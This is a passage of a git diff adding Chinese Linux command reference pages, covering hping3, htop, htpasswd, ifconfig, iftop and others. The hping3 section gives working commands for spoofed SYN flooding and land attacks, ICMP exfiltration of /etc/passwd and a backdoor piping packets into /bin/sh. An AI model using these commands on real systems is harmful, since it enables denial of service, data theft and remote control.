显示很多信息,TCP回应一般如:len=46 ip=192.168.1.1 flags=RADF seq=0 ttl=255 id=0 win=0 rtt=0.4ms tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0 +-D --debug 进入debug模式当你遇到麻烦时,比如用HPING遇到一些不合你习惯的时候,你可以用此模式修改HPING,(INTERFACE DETECTION,DATA LINK LAYER ACCESS,INTERFACE SETTINGS,.......) +-z --bind 快捷键的使用。 +-Z --unbind 消除快捷键。 +-O --rawip RAWIP模式,在此模式下HPING会发送带数据的IP头。 +-1 --icmp ICMP模式,此模式下HPING会发送IGMP应答报,你可以用--ICMPTYPE --ICMPCODE选项发送其他类型/模式的ICMP报文。 +-2 --udp UDP 模式,缺省下,HPING会发送UDP报文到主机的0端口,你可以用--baseport --destport --keep选项指定其模式。 +-9 --listen signatuer hping的listen模式,用此模式,HPING会接收指定的数据。 +-a --spoof hostname 伪造IP攻击,防火墙就不会记录你的真实IP了,当然回应的包你也接收不到了。 +-t --ttl time to live 可以指定发出包的TTL值。 +-H --ipproto 在RAW IP模式里选择IP协议。 +-w --WINID UNIX ,WINDIWS的id回应不同的,这选项可以让你的ID回应和WINDOWS一样。 +-r --rel 更改ID的,可以让ID曾递减输出,详见HPING-HOWTO。 +-F --FRAG 更改包的FRAG,这可以测试对方对于包碎片的处理能力,缺省的“virtual mtu”是16字节。 +-x --morefrag 此功能可以发送碎片使主机忙于恢复碎片而造成主机的拒绝服务。 +-y -dontfrag 发送不可恢复的IP碎片,这可以让你了解更多的MTU PATH DISCOVERY。 +-G --fragoff fragment offset value set the fragment offset +-m --mtu mtu value 用此项后ID数值变得很大,50000没指定此项时3000-20000左右。 +-G --rroute 记录路由,可以看到详悉的数据等等,最多可以经过9个路由,即使主机屏蔽了ICMP报文。 +-C --ICMPTYPE type 指定ICMP类型,缺省是ICMP echo REQUEST。 +-K --ICMPCODE CODE 指定ICMP代号,缺省0。 +--icmp-ipver 把IP版本也插入IP头。 +--icmp-iphlen 设置IP头的长度,缺省为5(32字节)。 +--icmp-iplen 设置IP包长度。 +--icmp-ipid 设置ICMP报文IP头的ID,缺省是RANDOM。 +--icmp-ipproto 设置协议的,缺省是TCP。 +-icmp-cksum 设置校验和。 +-icmp-ts alias for --icmptype 13 (to send ICMP timestamp requests) +--icmp-addr Alias for --icmptype 17 (to send ICMP address mask requests) +-s --baseport source port hping 用源端口猜测回应的包,它从一个基本端口计数,每收一个包,端口也加1,这规则你可以自己定义。 +-p --deskport [+][+]desk port 设置目标端口,缺省为0,一个加号设置为:每发送一个请求包到达后,端口加1,两个加号为:每发一个包,端口数加1。 +--keep 上面说过了。 +-w --win 发的大小和windows一样大,64BYTE。 +-O --tcpoff Set fake tcp data offset. Normal data offset is tcphdrlen / 4. +-m --tcpseq 设置TCP序列数。 +-l --tcpck 设置TCP ack。 +-Q --seqnum 搜集序列号的,这对于你分析TCP序列号有很大作用。 +``` + +### Hping3功能 + +Hping3主要有以下典型功能应用: + +####  防火墙测试 + +使用Hping3指定各种数据包字段,依次对防火墙进行详细测试。请参考:http://0daysecurity.com/articles/hping3_examples.html + +测试防火墙对ICMP包的反应、是否支持traceroute、是否开放某个端口、对防火墙进行拒绝服务攻击(DoS attack)。例如,以LandAttack方式测试目标防火墙(Land Attack是将发送源地址设置为与目标地址相同,诱使目标机与自己不停地建立连接)。 + +``` +hping3 -S -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10 +``` + +#### 端口扫描 + +Hping3也可以对目标端口进行扫描。Hping3支持指定TCP各个标志位、长度等信息。以下示例可用于探测目标机的80端口是否开放: + +``` +hping3 -I eth0 -S 192.168.10.1 -p 80 +``` + +其中`-I eth0`指定使用eth0端口,`-S`指定TCP包的标志位SYN,`-p 80`指定探测的目的端口。 + +hping3支持非常丰富的端口探测方式,nmap拥有的扫描方式hping3几乎都支持(除开connect方式,因为Hping3仅发送与接收包,不会维护连接,所以不支持connect方式探测)。而且Hping3能够对发送的探测进行更加精细的控制,方便用户微调探测结果。当然,Hping3的端口扫描性能及综合处理能力,无法与Nmap相比。一般使用它仅对少量主机的少量端口进行扫描。 + +#### Idle扫描 + +Idle扫描(Idle Scanning)是一种匿名扫描远程主机的方式,该方式也是有Hping3的作者Salvatore Sanfilippo发明的,目前Idle扫描在Nmap中也有实现。 + +该扫描原理是:寻找一台idle主机(该主机没有任何的网络流量,并且IPID是逐个增长的),攻击端主机先向idle主机发送探测包,从回复包中获取其IPID。冒充idle主机的IP地址向远程主机的端口发送SYN包(此处假设为SYN包),此时如果远程主机的目的端口开放,那么会回复SYN/ACK,此时idle主机收到SYN/ACK后回复RST包。然后攻击端主机再向idle主机发送探测包,获取其IPID。那么对比两次的IPID值,我们就可以判断远程主机是否回复了数据包,从而间接地推测其端口状态。 + +#### 拒绝服务攻击 + +使用Hping3可以很方便构建拒绝服务攻击。比如对目标机发起大量SYN连接,伪造源地址为192.168.10.99,并使用1000微秒的间隔发送各个SYN包。 + +``` +hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000 +``` + +其他攻击如smurf、teardrop、land attack等也很容易构建出来。 + +#### 文件传输 + +Hping3支持通过TCP/UDP/ICMP等包来进行文件传输。相当于借助TCP/UDP/ICMP包建立隐秘隧道通讯。实现方式是开启监听端口,对检测到的签名(签名为用户指定的字符串)的内容进行相应的解析。在接收端开启服务: + +``` +hping3 192.168.1.159--listen signature --safe --icmp +``` + +监听ICMP包中的签名,根据签名解析出文件内容。 + +在发送端使用签名打包的ICMP包发送文件: + +``` +hping3 192.168.1.108--icmp ?d 100 --sign signature --file /etc/passwd +``` + +将`/etc/passwd`密码文件通过ICMP包传给192.168.10.44主机。发送包大小为100字节(-d 100),发送签名为signature(-sign signature)。 + +#### 木马功能 + +如果Hping3能够在远程主机上启动,那么可以作为木马程序启动监听端口,并在建立连接后打开shell通信。与netcat的后门功能类似。 + +示例:本地打开53号UDP端口(DNS解析服务)监听来自192.168.10.66主机的包含签名为signature的数据包,并将收到的数据调用/bin/sh执行。 + +在木马启动端: + +``` +hping3 192.168.10.66--listen signature --safe --udp -p 53 | /bin/sh +``` + +在远程控制端: + +``` +echo ls >test.cmd +hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd +``` + +将包含ls命令的文件加上签名signature发送到192.168.10.44主机的53号UDP端口,包数据长度为100字节。 + +当然这里只是简单的演示程序,真实的场景,控制端可以利益shell执行很多的高级复杂的操作。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/htdigest.md b/LearnShell/LinuxCommands/htdigest.md new file mode 100644 index 0000000..f4df5cf --- /dev/null +++ b/LearnShell/LinuxCommands/htdigest.md @@ -0,0 +1,29 @@ +htdigest +=== + +Apache服务器内置工具 + +## 补充说明 + +**htdigest命令** 是Apache的Web服务器内置工具,用于创建和更新储存用户名、域和用于摘要认证的密码文件。 + +### 语法 + +``` +htdigest(选项)(参数) +``` + +### 选项 + +``` +-c:创建密码文件。 +``` + +### 参数 + +* 密码文件:指定要创建或更新的密码文件; +* 域:指定用户名所属的域; +* 用户名:要创建或者更新的用户名。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/htop.md b/LearnShell/LinuxCommands/htop.md new file mode 100644 index 0000000..f801320 --- /dev/null +++ b/LearnShell/LinuxCommands/htop.md @@ -0,0 +1,129 @@ +htop +=== + +[非内部命令]一个互动的进程查看器,可以动态观察系统进程状况。 + +## 补充说明 + +htop命令 是Linux系统中的一个互动的进程查看器,一个文本模式的应用程序(在控制台或者X终端中),需要ncurses。 + +与Linux传统的top相比,htop更加人性化。它可让用户交互式操作,支持颜色主题,可横向或纵向滚动浏览进程列表,并支持鼠标操作。 + +与top相比,htop有以下优点: + +- 可以横向或纵向滚动浏览进程列表,以便看到所有的进程和完整的命令行。 +- 在启动上,比top 更快。 +- 杀进程时不需要输入进程号。 +- htop 支持鼠标操作。 +- 两者相比起来,top比较繁琐。 + +top缺点: + +- 只支持键盘操作。 +- 显示也单调。 + +htop 官网:http://htop.sourceforge.net/ + +### 语法 + +``` +htop +``` + +### 参数 + +``` +-C --no-color 使用单色配色方案 +-d --delay=DELAY 设置更新之间的延迟,在十秒 +-s --sort-key=COLUMN 纵列排序(try --sort-key=help for a list) +-u --user=USERNAME 只显示一个指定用户的进程 +-p --pid=PID,[,PID,PID...] 只显示给用户 +-h --help 打印此命令帮助 +-v --version 打印版本信息 +``` + +### 选项 + +``` +h,? F1:查看htop使用说明 +S F2:设置 +/ F3:搜索进程 +\ F4:过滤器,按关键字搜索 +t F5:显示树形结构 +<,> F6:选择排序方式 +[ F7:减少nice值,这样就可以提高对应进程的优先级 +] F8:增加nice值,这样可以降低对应进程的优先级 +k F9:杀掉选中的进程 +q F10:退出htop + + +/ : 搜索字符 +h : 显示帮助 +l : 显示进程打开的文件: 如果安装了lsof,按此键可以显示进程所打开的文件 +u : 显示所有用户,并可以选择某一特定用户的进程 +U : 取消标记所有的进程 +s : 将调用strace追踪进程的系统调用 +t : 显示树形结构 + +H:显示/隐藏用户线程 +I:倒转排序顺序 +K:显示/隐藏内核线程 +M:按内存占用排序 +P:按CPU排序 +T:按运行时间排序 + +上下键或PgUP, PgDn : 移动选中进程 +左右键或Home, End : 移动列表 +Space(空格) : 标记/取消标记一个进程。命令可以作用于多个进程,例如 "kill",将应用于所有已标记的进程 + +``` + + +### Htop设定 + +鼠标点击Setup或者按下F2 之后进入htop 设定的页面 + +#### 1. Meters + +设定顶端的 显示信息,分为左右两侧,Left column 表示左侧的显示的信息,Right column表示右侧显示的信息,如果要新加选项,可以选择Available meters添加,F5新增到上方左侧,F6新增到上方右侧。Left column和Right column下面的选项,可以选定信息的显示方式,有LED、Bar(进度条)、Text(文本模式),可以根据个人喜好进行设置 + +#### 2. Display options + +选择要显示的内容,按空格 x表示显示,选择完后,按F10保存 + +#### 3. Colors + +设定界面以什么颜色来显示,个人认为用处不大,各人喜好不同 + +#### 4. Colums + +作用是增加或取消要显示的各项内容,选择后F7(向上移动)、F8(向下移动)、F9(取消显示、F10(保存更改))此处增加了PPID、PGRP,根据各人需求,显示那些信息。 + +**F3 搜索进程** + +在界面下按F3或直接输入”/”就可以直接进入搜索模式,是按照进程名进行搜索的,搜索到的进程会用设定的颜色标记出来,方便查看。 + +**F4:过滤器** + +相当于模糊查找,不区分大小写,下方输入要搜索的内容后,则界面只显示搜索到的内容,更加方便查看 + +**F5:以树形方式显示** + + +**F6:排序方式** + +按下F6后会跳转至以树形方式显示界面,让您选择以什么方式进行排序,在Sort by下选择您要以什么来排序 + +**F7,F8:调整进程nice值** + +F7表示减小nice值(增大优先级),F8增大nice值(减小优先级),选择某一进程,按F7或F8来增大或减小nice值,nice值范围为-20-19 + + +**F9:杀死进程** + +选择某一进程按F9即可杀死此进程,很方便 + +**F10:退出htop** + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/htpasswd.md b/LearnShell/LinuxCommands/htpasswd.md new file mode 100644 index 0000000..adf4925 --- /dev/null +++ b/LearnShell/LinuxCommands/htpasswd.md @@ -0,0 +1,74 @@ +htpasswd +=== + +apache服务器创建密码认证文件 + +## 补充说明 + +**htpasswd命令** 是Apache的Web服务器内置工具,用于创建和更新储存用户名、域和用户基本认证的密码文件。 + +### 语法 + +### htpasswd(选项)(参数) + +### 选项 + +``` +-c:创建一个加密文件; +-n:不更新加密文件,只将加密后的用户名密码显示在屏幕上; +-m:默认采用MD5算法对密码进行加密; +-d:采用CRYPT算法对密码进行加密; +-p:不对密码进行进行加密,即明文密码; +-s:采用SHA算法对密码进行加密; +-b:在命令行中一并输入用户名和密码而不是根据提示输入密码; +-D:删除指定的用户。 +``` + +### 参数 + +* 用户:要创建或者更新密码的用户名; +* 密码:用户的新密码。 + +### 实例 + + **利用htpasswd命令添加用户** + +``` +htpasswd -bc .passwd www.jsdig.com php +``` + +在bin目录下生成一个.passwd文件,用户名www.jsdig.com,密码:php,默认采用MD5加密方式。 + + **在原有密码文件中增加下一个用户** + +``` +htpasswd -b .passwd Jack 123456 +``` + +去掉`-c`选项,即可在第一个用户之后添加第二个用户,依此类推。 + + **不更新密码文件,只显示加密后的用户名和密码** + +``` +htpasswd -nb Jack 123456 +``` + +不更新.passwd文件,只在屏幕上输出用户名和经过加密后的密码。 + + **利用htpasswd命令删除用户名和密码** + +``` +htpasswd -D .passwd Jack +``` + + **利用htpasswd命令修改密码** + +``` +htpasswd -D .passwd Jack +htpasswd -b .passwd Jack 123456 +``` + +即先使用htpasswd删除命令删除指定用户,再利用htpasswd添加用户命令创建用户即可实现修改密码的功能。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/hwclock.md b/LearnShell/LinuxCommands/hwclock.md new file mode 100644 index 0000000..08f2209 --- /dev/null +++ b/LearnShell/LinuxCommands/hwclock.md @@ -0,0 +1,65 @@ +hwclock +=== + +显示与设定硬件时钟 + +## 补充说明 + +**hwclock命令** 是一个硬件时钟访问工具,它可以显示当前时间、设置硬件时钟的时间和设置硬件时钟为系统时间,也可设置系统时间为硬件时钟的时间。 + +在Linux中有硬件时钟与系统时钟等两种时钟。硬件时钟是指主机板上的时钟设备,也就是通常可在BIOS画面设定的时钟。系统时钟则是指kernel中的时钟。当Linux启动时,系统时钟会去读取硬件时钟的设定,之后系统时钟即独立运作。所有Linux相关指令与函数都是读取系统时钟的设定。 + +### 语法 + +``` +hwclock(选项) +``` + +### 选项 + +``` +--adjust:hwclock每次更改硬件时钟时,都会记录在/etc/adjtime文件中。使用--adjust参数,可使hwclock根据先前的记录来估算硬件时钟的偏差,并用来校正目前的硬件时钟; +--debug:显示hwclock执行时详细的信息; +--directisa:hwclock预设从/dev/rtc设备来存取硬件时钟。若无法存取时,可用此参数直接以I/O指令来存取硬件时钟; +--hctosys:将系统时钟调整为与目前的硬件时钟一致; +--set --date=<日期与时间>:设定硬件时钟; +--show:显示硬件时钟的时间与日期; +--systohc:将硬件时钟调整为与目前的系统时钟一致; +--test:仅测试程序,而不会实际更改硬件时钟; +--utc:若要使用格林威治时间,请加入此参数,hwclock会执行转换的工作; +--version:显示版本信息。 +``` + +### 实例 + +设置硬件时间要依赖于操作系统时间,具体方法如下: + +``` +hwclock –systohc +hwclock --systohc –-utc +``` + +不加任何参数使用hwclock,可以查看当前的硬件日期和时间。 + +``` +hwclock +``` + +查看clock文件,确认是否设置了UTC: + +``` +cat /etc/default/rcS +UTC=yes +``` + +在其他一些版本的Linux(如RebHat)中可以这样查看: + +``` +cat /etc/sysconfig/clock +ZONE="America/Los_Angeles" +UTC=false +ARC=false +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/iconv.md b/LearnShell/LinuxCommands/iconv.md new file mode 100644 index 0000000..7f8e725 --- /dev/null +++ b/LearnShell/LinuxCommands/iconv.md @@ -0,0 +1,46 @@ +iconv +=== + +转换文件的编码方式 + +## 补充说明 + +**iconv命令** 是用来转换文件的编码方式的,比如它可以将UTF8编码的转换成GB18030的编码,反过来也行。JDK中也提供了类似的工具native2ascii。Linux下的iconv开发库包括iconv_open,iconv_close,iconv等C函数,可以用来在C/C++程序中很方便的转换字符编码,这在抓取网页的程序中很有用处,而iconv命令在调试此类程序时用得着。 + +### 语法 + +``` +iconv -f encoding [-t encoding] [inputfile]... +``` + +### 选项 + +``` +-f encoding :把字符从encoding编码开始转换。 +-t encoding :把字符转换到encoding编码。 +-l :列出已知的编码字符集合 +-o file :指定输出文件 +-c :忽略输出的非法字符 +-s :禁止警告信息,但不是错误信息 +--verbose :显示进度信息 +-f和-t所能指定的合法字符在-l选项的命令里面都列出来了。 +``` + +### 实例 + +列出当前支持的字符编码:  + +``` +iconv -l +``` + +将文件file1转码,转后文件输出到fil2中:  + +``` +iconv file1 -f EUC-JP-MS -t UTF-8 -o file2 +``` + +这里,没`-o`那么会输出到标准输出。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/id.md b/LearnShell/LinuxCommands/id.md new file mode 100644 index 0000000..0adc093 --- /dev/null +++ b/LearnShell/LinuxCommands/id.md @@ -0,0 +1,78 @@ +id +=== + +显示用户的ID以及所属群组的ID + +## 补充说明 + +**id命令** 可以显示真实有效的用户ID(UID)和组ID(GID)。UID 是对一个用户的单一身份标识。组ID(GID)则对应多个UID。id命令已经默认预装在大多数Linux系统中。要使用它,只需要在你的控制台输入id。不带选项输入id会显示如下。结果会使用活跃用户。 + +当我们想知道某个用户的UID和GID时id命令是非常有用的。一些程序可能需要UID/GID来运行。id使我们更加容易地找出用户的UID以GID而不必在`/etc/group`文件中搜寻。如往常一样,你可以在控制台输入`man id`进入id的手册页来获取更多的详情。 + +### 语法 + +``` +id [-gGnru]--[help][--version][用户名称] +``` + +### 选项 + +``` +-g或--group   显示用户所属群组的ID。 +-G或--groups 显示用户所属附加群组的ID。 +-n或--name   显示用户,所属群组或附加群组的名称。 +-r或--real   显示实际ID。 +-u或--user   显示用户ID。 +-help   显示帮助。 +-version   显示版本信息。 +``` + +### 实例 + +``` +[root@localhost ~]# id +uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) +``` + +解释:用户root的UID号码 = 0,GID号码 = 0。用户root是下面组的成员: + +* root组GID号是:0 +* bin组GID号是:1 +* daemon组GID号是:2 +* sys组GID号是:3 +* adm组GID号是:4 +* disk组GID号是:6 +* wheel组GID号是:10 + +打印用户名、UID 和该用户所属的所有组,要这么做,我们可以使用 -a 选项: + +``` +[root@localhost ~]# id -a +uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) +``` + +输出所有不同的组ID ,有效的,真实的和补充的,我们可以使用 -G 选项来实现: + +``` +[root@localhost ~]# id -G +0 1 2 3 4 6 10 +``` + +结果只会显示GID号。你可以和`/etc/group`文件比较。下面是`/etc/group`文件的示例内容: + +只输出有效的组ID,通过使用 -g 选项来只输出有效组ID: + +``` +[root@localhost ~]# id -g +0 +``` + +输出特定用户信息,我们可以输出特定的用户信息相关的UID和GID。只需要在id命令后跟上用户名: + +``` +[root@localhost ~]# id www +uid=500(www) gid=500(www) groups=500(www) +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/ifcfg.md b/LearnShell/LinuxCommands/ifcfg.md new file mode 100644 index 0000000..417de71 --- /dev/null +++ b/LearnShell/LinuxCommands/ifcfg.md @@ -0,0 +1,26 @@ +ifcfg +=== + +置Linux中的网络接口参数 + +## 补充说明 + +**ifcfg命令** 是一个Bash脚本程序,用来设置Linux中的网络接口参数。 + +### 语法 + +``` +ifcfg(参数) +``` + +### 参数 + +``` +网络接口:指定要操作的网络接口; +add/del:添加或删除网络接口上的地址; +ip地址:指定IP地址和子网掩码; +Stop:停用指定的网络接口的IP地址。 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/ifconfig.md b/LearnShell/LinuxCommands/ifconfig.md new file mode 100644 index 0000000..4548fa7 --- /dev/null +++ b/LearnShell/LinuxCommands/ifconfig.md @@ -0,0 +1,120 @@ +ifconfig +=== + +配置和显示Linux系统网卡的网络参数 + +## 补充说明 + +**ifconfig命令** 被用于配置和显示Linux内核中网络接口的网络参数。用ifconfig命令配置的网卡信息,在网卡重启后机器重启后,配置就不存在。要想将上述的配置信息永远的存的电脑里,那就要修改网卡的配置文件了。 + +### 语法 + +``` +ifconfig(参数) +``` + +### 参数 + +``` +add<地址>:设置网络设备IPv6的ip地址; +del<地址>:删除网络设备IPv6的IP地址; +down:关闭指定的网络设备; +<硬件地址>:设置网络设备的类型与硬件地址; +io_addr:设置网络设备的I/O地址; +irq:设置网络设备的IRQ; +media<网络媒介类型>:设置网络设备的媒介类型; +mem_start<内存地址>:设置网络设备在主内存所占用的起始地址; +metric<数目>:指定在计算数据包的转送次数时,所要加上的数目; +mtu<字节>:设置网络设备的MTU; +netmask<子网掩码>:设置网络设备的子网掩码; +tunnel<地址>:建立IPv4与IPv6之间的隧道通信地址; +up:启动指定的网络设备; +-broadcast<地址>:将要送往指定地址的数据包当成广播数据包来处理; +-pointopoint<地址>:与指定地址的网络设备建立直接连线,此模式具有保密功能; +-promisc:关闭或启动指定网络设备的promiscuous模式; +IP地址:指定网络设备的IP地址; +网络设备:指定网络设备的名称。 +``` + +### 实例 + + **显示网络设备信息(激活状态的):** + +``` +[root@localhost ~]# ifconfig +eth0 Link encap:Ethernet HWaddr 00:16:3E:00:1E:51 + inet addr:10.160.7.81 Bcast:10.160.15.255 Mask:255.255.240.0 + UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 + RX packets:61430830 errors:0 dropped:0 overruns:0 frame:0 + TX packets:88534 errors:0 dropped:0 overruns:0 carrier:0 + collisions:0 txqueuelen:1000 + RX bytes:3607197869 (3.3 GiB) TX bytes:6115042 (5.8 MiB) + +lo Link encap:Local Loopback + inet addr:127.0.0.1 Mask:255.0.0.0 + UP LOOPBACK RUNNING MTU:16436 Metric:1 + RX packets:56103 errors:0 dropped:0 overruns:0 frame:0 + TX packets:56103 errors:0 dropped:0 overruns:0 carrier:0 + collisions:0 txqueuelen:0 + RX bytes:5079451 (4.8 MiB) TX bytes:5079451 (4.8 MiB) +``` + +说明: + + **eth0** 表示第一块网卡,其中`HWaddr`表示网卡的物理地址,可以看到目前这个网卡的物理地址(MAC地址)是`00:16:3E:00:1E:51`。 + + **inet addr** 用来表示网卡的IP地址,此网卡的IP地址是`10.160.7.81`,广播地址`Bcast:10.160.15.255`,掩码地址`Mask:255.255.240.0`。 + + **lo** 是表示主机的回坏地址,这个一般是用来测试一个网络程序,但又不想让局域网或外网的用户能够查看,只能在此台主机上运行和查看所用的网络接口。比如把 httpd服务器的指定到回坏地址,在浏览器输入127.0.0.1就能看到你所架WEB网站了。但只是您能看得到,局域网的其它主机或用户无从知道。 + +* 第一行:连接类型:Ethernet(以太网)HWaddr(硬件mac地址)。 +* 第二行:网卡的IP地址、子网、掩码。 +* 第三行:UP(代表网卡开启状态)RUNNING(代表网卡的网线被接上)MULTICAST(支持组播)MTU:1500(最大传输单元):1500字节。 +* 第四、五行:接收、发送数据包情况统计。 +* 第七行:接收、发送数据字节数统计信息。 + + **启动关闭指定网卡:** + +``` +ifconfig eth0 up +ifconfig eth0 down +``` + +`ifconfig eth0 up`为启动网卡eth0,`ifconfig eth0 down`为关闭网卡eth0。ssh登陆linux服务器操作要小心,关闭了就不能开启了,除非你有多网卡。 + + **为网卡配置和删除IPv6地址:** + +``` +ifconfig eth0 add 33ffe:3240:800:1005::2/64 #为网卡eth0配置IPv6地址 +ifconfig eth0 del 33ffe:3240:800:1005::2/64 #为网卡eth0删除IPv6地址 +``` + + **用ifconfig修改MAC地址:** + +``` +ifconfig eth0 hw ether 00:AA:BB:CC:dd:EE +``` + + **配置IP地址:** + +``` +[root@localhost ~]# ifconfig eth0 192.168.2.10 +[root@localhost ~]# ifconfig eth0 192.168.2.10 netmask 255.255.255.0 +[root@localhost ~]# ifconfig eth0 192.168.2.10 netmask 255.255.255.0 broadcast 192.168.2.255 +``` + + **启用和关闭arp协议:** + +``` +ifconfig eth0 arp #开启网卡eth0 的arp协议 +ifconfig eth0 -arp #关闭网卡eth0 的arp协议 +``` + + **设置最大传输单元:** + +``` +ifconfig eth0 mtu 1500 #设置能通过的最大数据包大小为 1500 bytes +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/ifdown.md b/LearnShell/LinuxCommands/ifdown.md new file mode 100644 index 0000000..1e444e2 --- /dev/null +++ b/LearnShell/LinuxCommands/ifdown.md @@ -0,0 +1,27 @@ +ifdown +=== + +禁用指定的网络接口 + +## 补充说明 + +**ifdown命令** 用于禁用指定的网络接口。 + +### 语法 + +``` +ifdown(参数) +``` + +### 参数 + +网络接口:要禁用的网络接口。 + +### 实例 + +``` +ifdown eth0 #禁用eth0 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/ifstat.md b/LearnShell/LinuxCommands/ifstat.md new file mode 100644 index 0000000..64e3d71 --- /dev/null +++ b/LearnShell/LinuxCommands/ifstat.md @@ -0,0 +1,86 @@ +ifstat +=== + +统计网络接口流量状态 + +## 补充说明 + +**ifstat命令** 就像iostat/vmstat描述其它的系统状况一样,是一个统计网络接口活动状态的工具。ifstat工具系统中并不默认安装,需要自己下载源码包,重新编译安装,使用过程相对比较简单。 + +### 下载 + +``` +http://gael.roualland.free.fr/ifstat/ (官网) +wget http://gael.roualland.free.fr/ifstat/ifstat-1.1.tar.gz +``` + +### 编译安装 + +``` +tar -zxvf ifstat-1.1.tar.gz +cd ifstat-1.1 +./configure +make +make install # 默认会安装到/usr/local/bin/目录中 +``` + +注释:执行`which ifstat`输出`/usr/local/bin/ifstat` + +### 选项 + +``` +-l 监测环路网络接口(lo)。缺省情况下,ifstat监测活动的所有非环路网络接口。经使用发现,加上-l参数能监测所有的网络接口的信息,而不是只监测 lo的接口信息,也就是说,加上-l参数比不加-l参数会多一个lo接口的状态信息。 +-a 监测能检测到的所有网络接口的状态信息。使用发现,比加上-l参数还多一个plip0的接口信息,搜索一下发现这是并口(网络设备中有一 个叫PLIP (Parallel Line Internet Protocol). 它提供了并口...) +-z 隐藏流量是无的接口,例如那些接口虽然启动了但是未用的 +-i 指定要监测的接口,后面跟网络接口名 +-s 等于加-d snmp:[comm@][#]host[/nn]] 参数,通过SNMP查询一个远程主机 +-h 显示简短的帮助信息 +-n 关闭显示周期性出现的头部信息(也就是说,不加-n参数运行ifstat时最顶部会出现网络接口的名称,当一屏显示不下时,会再一次出现接口的名称,提示我们显示的流量信息具体是哪个网络接口的。加上-n参数把周期性的显示接口名称关闭,只显示一次) +-t 在每一行的开头加一个时间 戳(能告诉我们具体的时间) +-T 报告所有监测接口的全部带宽(最后一列有个total,显示所有的接口的in流量和所有接口的out流量,简单的把所有接口的in流量相加,out流量相 加) +-w 用指定的列宽,而不是为了适应接口名称的长度而去自动放大列宽 +-W 如果内容比终端窗口的宽度还要宽就自动换行 +-S 在同一行保持状态更新(不滚动不换行)注:如果不喜欢屏幕滚动则此项非常方便,与bmon的显示方式类似 +-b 用kbits/s显示带宽而不是kbytes/s +-q 安静模式,警告信息不出现 +-v 显示版本信息 +-d 指定一个驱动来收集状态信息 +``` + +### 实例 + +默认使用 + +``` +[root@localhost ifstat-1.1] #ifstat + eth0 eth1 + KB/s in KB/s out KB/s in KB/s out + 0.07 0.20 0.00 0.00 + 0.07 0.15 0.58 0.00 +``` + +默认ifstat不监控回环接口,显示的流量单位是KB。 + +``` +[root@localhost ifstat-1.1]# ifstat -tT + time eth0 eth1 eth2 eth3 Total +HH:MM:ss KB/s in KB/s out KB/s in KB/s out KB/s in KB/s out KB/s in KB/s out KB/s in KB/s out +16:53:04 0.84 0.62 1256.27 1173.05 0.12 0.18 0.00 0.00 1257.22 1173.86 +16:53:05 0.57 0.40 0.57 0.76 0.00 0.00 0.00 0.00 1.14 1.17 +16:53:06 1.58 0.71 0.42 0.78 0.00 0.00 0.00 0.00 2.01 1.48 +16:53:07 0.57 0.40 1.91 2.61 0.00 0.00 0.00 0.00 2.48 3.01 +16:53:08 0.73 0.40 924.02 1248.91 0.00 0.00 0.00 0.00 924.76 1249.31 +``` + +监控所有网络接口 + +``` +[root@localhost ifstat-1.1] # ifstat -a + lo eth0 eth1 + KB/s in KB/s out KB/s in KB/s out KB/s in KB/s out + 0.00 0.00 0.28 0.58 0.06 0.06 + 0.00 0.00 1.41 1.13 0.00 0.00 + 0.61 0.61 0.26 0.23 0.00 0.00 +``` + + diff --git a/LearnShell/LinuxCommands/iftop.md b/LearnShell/LinuxCommands/iftop.md new file mode 100644 index 0000000..d1fb935 --- /dev/null +++ b/LearnShell/LinuxCommands/iftop.md @@ -0,0 +1,77 @@ +iftop +=== + +一款实时流量监控工具 + +## 补充说明 + +**iftop命令** 是一款实时流量监控工具,监控TCP/IP连接等,缺点就是无报表功能。必须以root身份才能运行。 + +### 语法 + +``` +iftop(选项) +``` + +### 选项 + +``` +iftop: display bandwidth usage on an interface by host + +Synopsis: iftop -h | [-npblNBP] [-i interface] [-f filter code] + [-F net/mask] [-G net6/mask6] + + -h display this message + -n don't do hostname lookups + -N don't convert port numbers to services + -p run in promiscuous mode (show traffic between other + hosts on the same network segment) + -b don't display a bar graph of traffic + -B Display bandwidth in bytes + -i interface listen on named interface + -f filter code use filter code to select packets to count + (default: none, but only IP packets are counted) + -F net/mask show traffic flows in/out of IPv4 network + -G net6/mask6 show traffic flows in/out of IPv6 network + -l display and count link-local IPv6 traffic (default: off) + -P show ports as well as hosts + -m limit sets the upper limit for the bandwidth scale + -c config file specifies an alternative configuration file + -t use text interface without ncurses + + Sorting orders: + -o 2s Sort by first column (2s traffic average) + -o 10s Sort by second column (10s traffic average) [default] + -o 40s Sort by third column (40s traffic average) + -o source Sort by source address + -o destination Sort by destination address + + The following options are only available in combination with -t + -s num print one single text output afer num seconds, then quit + -L num number of lines to print + +``` + +### 界面说明 + +> 第一行为带宽,这里为1Mbit,不是字节哦. +> 连接列表,最后三列分别是2秒,10秒和40秒的平均流量 +> `=>` 代表发送 +> `<=` 代表接收 +> 最后三行表示发送,接收和全部的流量, +> 第二列为你运行iftop到目前流量,第三列为高峰值,第四列为平均值。 + +### 实例 + + + +```bash +iftop # 默认是监控第一块网卡的流量 +iftop -i eth1 # 监控eth1 +iftop -n # 直接显示IP, 不进行DNS反解析 +iftop -N # 直接显示连接埠编号, 不显示服务名称 +iftop -F 192.168.1.0/24 or 192.168.1.0/255.255.255.0 # 显示某个网段进出封包流量 +``` + + + diff --git a/LearnShell/LinuxCommands/ifup.md b/LearnShell/LinuxCommands/ifup.md new file mode 100644 index 0000000..879b3be --- /dev/null +++ b/LearnShell/LinuxCommands/ifup.md @@ -0,0 